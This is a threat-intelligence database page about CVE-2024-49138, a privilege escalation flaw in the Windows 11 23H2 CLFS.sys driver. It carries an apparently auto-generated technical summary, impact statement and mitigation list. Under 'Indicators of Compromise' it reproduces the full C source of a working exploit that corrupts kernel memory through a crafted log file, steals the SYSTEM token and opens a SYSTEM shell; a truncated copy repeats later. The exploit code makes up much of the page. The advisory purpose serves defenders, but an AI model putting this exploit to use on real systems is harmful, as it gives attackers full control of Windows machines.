Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
AI Analysis
Technical Summary
This security threat concerns an elevation of privilege vulnerability in Microsoft Windows 11 version 23H2, specifically involving the Common Log File System driver (CLFS.sys). The vulnerability is identified as CVE-2024-49138 and allows a local attacker to escalate privileges from a standard user to SYSTEM level by exploiting improper handling within the CLFS.sys driver. The exploit code, written in C and publicly available, demonstrates how an attacker can leverage arbitrary kernel memory read and write capabilities to manipulate kernel structures, particularly the token associated with the current process, thereby granting themselves SYSTEM privileges. The exploit works by first enumerating loaded kernel drivers to obtain the base address of the Windows kernel (ntoskrnl). It then uses undocumented Windows native APIs (NtReadVirtualMemory and NtWriteVirtualMemory) to read and write kernel memory. The exploit targets the _KTHREAD structure's PreviousMode field to set it to 0 (kernel mode), bypassing security checks. It also manipulates the EPROCESS structure linked list to locate the current process and replace its token with the SYSTEM process token, effectively elevating privileges. The exploit involves creating and manipulating Common Log File (BLF) containers to trigger the vulnerability in CLFS.sys, which allows arbitrary kernel memory writes. The code sets process and thread priorities to high to increase the likelihood of successful exploitation. Finally, it spawns a SYSTEM shell (cmd.exe) to demonstrate successful privilege escalation. No authentication or user interaction beyond local code execution is required, but the attacker must have local access to the system. The exploit does not appear to be in widespread use yet, but the availability of public exploit code increases the risk of exploitation. No official patches or mitigations are linked, indicating that organizations should act proactively.
Potential Impact
For European organizations, this vulnerability poses a significant risk as it allows local attackers or malware that gains local execution to escalate privileges to SYSTEM level, potentially leading to full system compromise. This can facilitate lateral movement, persistence, and deployment of ransomware or espionage tools. Given Windows 11's growing adoption in enterprise environments, especially in sectors like finance, healthcare, and government, exploitation could lead to data breaches, disruption of critical services, and loss of sensitive information. The ability to execute arbitrary code with SYSTEM privileges undermines endpoint security controls and could bypass antivirus and endpoint detection systems. Organizations relying on Windows 11 23H2 without mitigations are at heightened risk, especially if attackers gain initial footholds via phishing, compromised credentials, or insider threats.
Mitigation Recommendations
1. Immediate deployment of any available Microsoft security updates or patches addressing CVE-2024-49138 once released. 2. Implement strict local access controls and limit administrative privileges to reduce the risk of local exploitation. 3. Employ application whitelisting and endpoint detection and response (EDR) solutions capable of detecting unusual kernel memory manipulation or privilege escalation attempts. 4. Monitor creation and modification of Common Log File System (CLFS) containers and unusual file system activity in directories like C:\temp or other temporary folders. 5. Restrict the ability to execute untrusted code locally, including disabling or restricting use of developer tools and compilers on production systems. 6. Use Windows Defender Exploit Guard or similar technologies to harden kernel-mode driver interactions. 7. Conduct regular audits of user privileges and active processes to detect anomalies indicative of token swapping or privilege escalation. 8. Employ network segmentation to limit lateral movement from compromised endpoints. 9. Educate users on phishing and social engineering risks to prevent initial compromise that could lead to local code execution. 10. Prepare incident response plans specifically addressing kernel-level compromises and privilege escalations.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Sweden, Belgium, Poland, Ireland
Indicators of Compromise
- exploit-code: # Exploit Title: Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # MiRROR-H: https://mirror-h.org/search/hacker/49626/ # CVE: CVE-2024-49138 #include <iostream> #include <Windows.h> #include <clfsw32.h> #include <format> #include <psapi.h> #include <iostream> #include <fstream> #include <iomanip> #include <vector> #include <cstdint> #include "resource.h" #define CONTROL_BLOCK_SIZE 0x400 #define OFFSET_EXTENDED_STATE 0x84 #define OFFSET_IEXTENDED_BLOCK 0x88 #define OFFSET_IFLUSHB_BLOCK 0x8c #define _CRT_SECURE_NO_WARNINGS 1 //dt nt!_KTHREAD current //+ 0x230 UserAffinityPrimaryGroup : 0 //+ 0x232 PreviousMode : 1 '' //+ 0x233 BasePriority : 15 '' //+ 0x234 PriorityDecrement : 0 '' //+ 0x234 ForegroundBoost : 0y0000 //+ 0x234 UnusualBoost : 0y0000 //+ 0x235 Preempted : 0 '' //+ 0x236 AdjustReason : 0 '' //+ 0x237 AdjustIncrement : 0 '' //+ 0x238 AffinityVersion : 0x14 //+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX //WINDBG > dq ffffc201419e1080 + 0x232 L1 //ffffc201`419e12b2 00140000`00000f01 //WINDBG > ? nt!PoFxProcessorNotification - nt //Evaluate expression : 3861424 = 00000000`003aebb0 //WINDBG > ? nt!DbgkpTriageDumpRestoreState - nt //Evaluate expression : 8324768 = 00000000`007f06a0 //WINDBG > ? nt!PsActiveProcessHead - nt //Evaluate expression : 12812128 = 00000000`00c37f60 #define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0 #define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0 #define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60 #define ACTIVEPROCESSLINKS_OFFSET 0x448 #define UNIQUEPROCESSID_OFFSET 0x440 #define TOKEN_OFFSET 0x4b8 #define TOKENPRIVILEGESPRESENT_OFFSET 0x40 #define TOKENPRIVILEGSENABLED_OFFSET 0x48 #pragma comment(lib, "Clfsw32.lib") LPVOID GetKernelBaseAddress() { LPVOID drivers[1024]; // Array to hold driver addresses DWORD cbNeeded; // Bytes returned by EnumDeviceDrivers int driverCount; TCHAR driverName[MAX_PATH]; // Enumerate loaded device drivers if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { printf("Failed to enumerate device drivers. Error: %lu\n", GetLastError()); return (LPVOID)0x0; } driverCount = cbNeeded / sizeof(drivers[0]); if (driverCount == 0) { printf("No device drivers found.\n"); return (LPVOID)0x0; } // The first driver is usually the Windows kernel LPVOID kernelBaseAddress = drivers[0]; // Retrieve the name of the kernel driver if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) { printf("Kernel Base Address: 0x%p\n", kernelBaseAddress); printf("Kernel Name: %ls\n", driverName); } else { printf("Failed to retrieve kernel name. Error: %lu\n", GetLastError()); } return kernelBaseAddress; } #define SystemHandleInformation 0x10 #define SystemHandleInformationSize 1024 * 1024 * 2 using fNtQuerySystemInformation = NTSTATUS(WINAPI*)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); // Definitions for NTSTATUS and system calls using fNtReadVirtualMemory = NTSTATUS(WINAPI*)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PULONG NumberOfBytesRead); using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PULONG NumberOfBytesWritten); fNtReadVirtualMemory NtReadVirtualMemory = NULL; fNtWriteVirtualMemory NtWriteVirtualMemory = NULL; // handle information typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; // handle table information typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; PVOID GetKAddrFromHandle(HANDLE handle) { ULONG returnLength = 0; fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"); PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize); NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength); ULONG numberOfHandles = handleTableInformation->NumberOfHandles; HeapFree(GetProcessHeap(), 0, handleTableInformation); handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100); NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100, &returnLength); for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; if (handleInfo.HandleValue == (USHORT)handle && handleInfo.UniqueProcessId == GetCurrentProcessId()) { return handleInfo.Object; } } } LPVOID g_ntbase = 0; LPVOID address_to_write; //Final byte = kthread.previousMode = 0 DWORD64 value_to_write = 0x0014000000000f00; //BOOL SwapTokens() { // DWORD64 eprocess = 0; // ULONG bytesRead = 0; // DWORD64 systemtoken = 0; // DWORD64 currenttoken = 0; // DWORD pid = 0; // DWORD64 privileges = 0x0000001ff2ffffbc; // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase + PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL); // eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET; // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL); // // // while (1) { // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL); // // eprocess -= ACTIVEPROCESSLINKS_OFFSET; // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL); // std::cout << "pid = " << pid << std::endl; // // if (pid == GetCurrentProcessId()) // break; // } // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), ¤ttoken, sizeof(currenttoken), NULL); // // // // //clears refcnt // currenttoken = currenttoken & 0xfffffffffffffff0; // // printf("performing NtWriteVirtualMemory..\n"); // // getchar(); // // //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken + TOKENPRIVILEGESPRESENT_OFFSET), &privileges, 0x8, NULL); // //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken + TOKENPRIVILEGSENABLED_OFFSET), &privileges, 0x8, NULL); // // // NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, 0x8, NULL); // // return TRUE; //} int main() { HMODULE hModule; HRSRC hResource; errno_t err; HGLOBAL hLoadedResource; LPVOID pResourceData; DWORD resourceSize; FILE* file; DWORD sectorsPerCluster; DWORD bytesPerSector; DWORD numberOfFreeClusters; DWORD totalNumberOfClusters; const char* rootPath = "C:\\"; PVOID marshallingArea = NULL; ULONGLONG pcbContainer = 0; std::wstring logFileName = L"LOG:"; std::wstring inputName = L"C:\\temp\\testlog\\mylogdddd.blf"; logFileName += inputName; DWORD64 buf = 0; ULONG bytesRead = 0; LPVOID PreviousModeAddr = NULL; DWORD threadId = GetCurrentThreadId(); // Get the current thread ID DWORD64 eprocess = 0; DWORD64 systemtoken = 0; DWORD64 currenttoken = 0; DWORD64 pid = 0; BYTE PreviousMode = 0x1; DWORD64 privileges = 0x0000001ff2ffffbc; const char* directoryName1 = "C:\\temp"; const char* directoryName2 = "C:\\temp\\testlog"; HANDLE logHndl = INVALID_HANDLE_VALUE; ULONGLONG cbContainer = (ULONGLONG)0x80000; //Creating directories with the baselog and container file if (CreateDirectoryA(directoryName1, NULL)) { printf("Directory created successfully: %s\n", directoryName1); } else { DWORD error = GetLastError(); if (error == ERROR_ALREADY_EXISTS) { printf("The directory already exists: %s\n", directoryName1); } else { printf("Failed to create the directory. Error code: %lu\n", error); return 0; } } if (CreateDirectoryA(directoryName2, NULL)) { printf("Directory created successfully: %s\n", directoryName2); } else { DWORD error = GetLastError(); if (error == ERROR_ALREADY_EXISTS) { printf("The directory already exists: %s\n", directoryName2); } else { printf("Failed to create the directory. Error code: %lu\n", error); return 0; } } //creating BLF logHndl = CreateLogFile(logFileName.c_str(), GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0); if (logHndl == INVALID_HANDLE_VALUE) { printf("CreateLogFile failed with error %d\n", GetLastError()); return 0; } else { printf("file opened successfully\n"); } //creating and adding container to BLF if (!AddLogContainer(logHndl, &cbContainer, (LPWSTR)L"C:\\temp\\testlog\\container1", NULL)) { printf("AddLogContainer failed with error %d\n", GetLastError()); } else { printf("AddLogContainer successful\n"); } //closing BLF CloseHandle(logHndl); // Initialize variables hModule = GetModuleHandle(NULL); if (!hModule) { printf("Failed to get module handle.\n"); return 1; } // Find the resource in the executable hResource = FindResource(hModule, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); if (!hResource) { printf("Failed to find resource. Error: %lu\n", GetLastError()); return 1; } printf("hResource = 0x%p\n", hResource); // Load the resource into memory hLoadedResource = LoadResource(hModule, hResource); if (!hLoadedResource) { printf("Failed to load resource. Error: %lu\n", GetLastError()); return 1; } printf("hResource = 0x%p\n", hLoadedResource); // Lock the resource to get a pointer to its data pResourceData = LockResource(hLoadedResource); if (!pResourceData) { printf("Failed to lock resource. Error: %lu\n", GetLastError()); return 1; } printf("pResourceData = 0x%p\n", pResourceData); // Get the size of the resource resourceSize = SizeofResource(hModule, hResource); if (resourceSize == 0) { printf("Failed to get resource size. Error: %lu\n", GetLastError()); return 1; } // At this point, pResourceData points to the binary data, and resourceSize contains its size printf("Resource size: %lu bytes\n", resourceSize); // Example: Write the resource data to a file err = fopen_s(&file, "C:\\temp\\testlog\\mylogdddd.blf.blf", "wb"); if (err == 0 && file) { fwrite(pResourceData, 1, resourceSize, file); fclose(file); printf("Resource written to output.bin successfully.\n"); } else { printf("Failed to open output file. Error code: %d\n", err); } //preparing data structures in memory g_ntbase = GetKernelBaseAddress(); NtReadVirtualMemory = (fNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"), "NtReadVirtualMemory"); NtWriteVirtualMemory = (fNtWriteVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"), "NtWriteVirtualMemory"); if (!NtReadVirtualMemory || !NtWriteVirtualMemory) { printf("Failed to get addresses for NtReadVirtualMemory or NtWriteVirtualMemory\n"); return -1; } printf("NtReadVirtualMemory = 0x%p\n", (DWORD64)NtReadVirtualMemory); printf("NtWriteVirtualMemory = 0x%p\n", (DWORD64)NtWriteVirtualMemory); // Open a real handle to the current thread HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId); if (threadHandle == NULL) { printf("Failed to get real handle to the current thread. Error: %lu\n", GetLastError()); return 1; } //0x232 = offset to _KTHREAD.PreviousMode address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle)) + 0x232); auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memset(pcclfscontainer, 0, 0x1000); auto vtable = (DWORD64)pcclfscontainer + 0x100; auto rcx = pcclfscontainer; *(PDWORD64)((PCHAR)rcx + 0x40) = (DWORD64)pcclfscontainer + 0x200; *(PDWORD64)((PCHAR)pcclfscontainer + 0x200 + 0x68) = (DWORD64)g_ntbase + DBGKPTRIAGEDUMPRESTORESTATE_OFFSET; //arg1 of DBGKPTRIAGEDUMPRESTORESTATE *(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300; auto arg_DBGKPTRIAGEDUMPRESTORESTATE = (DWORD64)pcclfscontainer + 0x300; //address of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE. remember It writes at offset 0x2078 of where *((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) = (DWORD64)address_to_write - 0x2078; //value of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE *((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) = 0x0014000000000f00; ((PDWORD64)vtable)[1] = (DWORD64)g_ntbase + POFXPROCESSORNOTIFICATION_OFFSET; *(PDWORD64)pcclfscontainer = (DWORD64)vtable; printf("pcclfscontainer = 0x%p\n", (DWORD64)pcclfscontainer); printf("address_to_write = 0x%p\n", (DWORD64)address_to_write); HANDLE processHandle = GetCurrentProcess(); // Get the current process handle // Set the process priority to HIGH_PRIORITY_CLASS if (SetPriorityClass(processHandle, REALTIME_PRIORITY_CLASS)) { printf("Process priority set to REALTIME_PRIORITY_CLASS.\n"); } else { DWORD error = GetLastError(); printf("Failed to set process priority. Error code: %lu\n", error); return 1; } threadHandle = GetCurrentThread(); if (SetThreadPriority(threadHandle, THREAD_PRIORITY_TIME_CRITICAL)) { printf("Thread priority set to the highest level: TIME_CRITICAL.\n"); } else { DWORD error = GetLastError(); printf("Failed to set thread priority. Error code: %lu\n", error); return 1; } printf("triggering vuln..."); logHndl = CreateLogFile(logFileName.c_str(), GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0); if (logHndl == INVALID_HANDLE_VALUE) { printf("CreateLogFile failed with error %d\n", GetLastError()); } else { printf("file opened successfully\n"); } // Set the process priority to HIGH_PRIORITY_CLASS if (SetPriorityClass(processHandle, NORMAL_PRIORITY_CLASS)) { printf("Process priority set to NORMAL_PRIORITY_CLASS.\n"); } else { DWORD error = GetLastError(); printf("Failed to set process priority. Error code: %lu\n", error); return 1; } if (SetThreadPriority(threadHandle, THREAD_PRIORITY_NORMAL)) { printf("Thread priority set to the highest level: THREAD_PRIORITY_NORMAL.\n"); } else { DWORD error = GetLastError(); printf("Failed to set thread priority. Error code: %lu\n", error); return 1; } printf("vuln triggered\n"); printf("reading base of ntoskrnl to check we have arbitrary read/write\n"); NtReadVirtualMemory((HANDLE)-1, g_ntbase, &buf, sizeof(buf), NULL); printf("buf = 0x%p\n", (DWORD64)buf); printf("swapping tokens...\n"); NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase + PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL); eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET; NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL); while (1) { NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL); eprocess -= ACTIVEPROCESSLINKS_OFFSET; NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL); if (pid == (DWORD64)GetCurrentProcessId()) break; } printf("current token address = 0x%p\n", eprocess + TOKEN_OFFSET); printf("systemtoken = 0x%p\n", systemtoken); printf("Overwriting process token..\n"); NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL); printf("token swapped. Restoring PreviousMode and spawning system shell...\n"); PreviousModeAddr = address_to_write; PreviousMode = 0x1; NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &PreviousMode, sizeof(PreviousMode), NULL); system("cmd.exe"); return 0; }
Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
Description
Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
AI-Powered Analysis
Technical Analysis
This security threat concerns an elevation of privilege vulnerability in Microsoft Windows 11 version 23H2, specifically involving the Common Log File System driver (CLFS.sys). The vulnerability is identified as CVE-2024-49138 and allows a local attacker to escalate privileges from a standard user to SYSTEM level by exploiting improper handling within the CLFS.sys driver. The exploit code, written in C and publicly available, demonstrates how an attacker can leverage arbitrary kernel memory read and write capabilities to manipulate kernel structures, particularly the token associated with the current process, thereby granting themselves SYSTEM privileges. The exploit works by first enumerating loaded kernel drivers to obtain the base address of the Windows kernel (ntoskrnl). It then uses undocumented Windows native APIs (NtReadVirtualMemory and NtWriteVirtualMemory) to read and write kernel memory. The exploit targets the _KTHREAD structure's PreviousMode field to set it to 0 (kernel mode), bypassing security checks. It also manipulates the EPROCESS structure linked list to locate the current process and replace its token with the SYSTEM process token, effectively elevating privileges. The exploit involves creating and manipulating Common Log File (BLF) containers to trigger the vulnerability in CLFS.sys, which allows arbitrary kernel memory writes. The code sets process and thread priorities to high to increase the likelihood of successful exploitation. Finally, it spawns a SYSTEM shell (cmd.exe) to demonstrate successful privilege escalation. No authentication or user interaction beyond local code execution is required, but the attacker must have local access to the system. The exploit does not appear to be in widespread use yet, but the availability of public exploit code increases the risk of exploitation. No official patches or mitigations are linked, indicating that organizations should act proactively.
Potential Impact
For European organizations, this vulnerability poses a significant risk as it allows local attackers or malware that gains local execution to escalate privileges to SYSTEM level, potentially leading to full system compromise. This can facilitate lateral movement, persistence, and deployment of ransomware or espionage tools. Given Windows 11's growing adoption in enterprise environments, especially in sectors like finance, healthcare, and government, exploitation could lead to data breaches, disruption of critical services, and loss of sensitive information. The ability to execute arbitrary code with SYSTEM privileges undermines endpoint security controls and could bypass antivirus and endpoint detection systems. Organizations relying on Windows 11 23H2 without mitigations are at heightened risk, especially if attackers gain initial footholds via phishing, compromised credentials, or insider threats.
Mitigation Recommendations
1. Immediate deployment of any available Microsoft security updates or patches addressing CVE-2024-49138 once released. 2. Implement strict local access controls and limit administrative privileges to reduce the risk of local exploitation. 3. Employ application whitelisting and endpoint detection and response (EDR) solutions capable of detecting unusual kernel memory manipulation or privilege escalation attempts. 4. Monitor creation and modification of Common Log File System (CLFS) containers and unusual file system activity in directories like C:\temp or other temporary folders. 5. Restrict the ability to execute untrusted code locally, including disabling or restricting use of developer tools and compilers on production systems. 6. Use Windows Defender Exploit Guard or similar technologies to harden kernel-mode driver interactions. 7. Conduct regular audits of user privileges and active processes to detect anomalies indicative of token swapping or privilege escalation. 8. Employ network segmentation to limit lateral movement from compromised endpoints. 9. Educate users on phishing and social engineering risks to prevent initial compromise that could lead to local code execution. 10. Prepare incident response plans specifically addressing kernel-level compromises and privilege escalations.
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Technical Details
- Edb Id
- 52270
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
# Exploit Title: Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # MiRROR-H: https://mirror-h.org/search/hacker/49626/ # CVE: CVE-2024-49138 #include <iostream> #include <Windows.h> #include <clfsw32.h> #include <format> #include <psapi.h> #include <iostream> #include <fstream> #include <iomanip> #include <vector> #include <cstdint>... (16891 more characters)
Threat ID: 68489e837e6d765d51d546c3
Added to database: 6/10/2025, 9:07:15 PM
Last enriched: 6/11/2025, 9:07:35 PM
Last updated: 8/16/2025, 11:51:20 PM
Views: 29
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MediumActions
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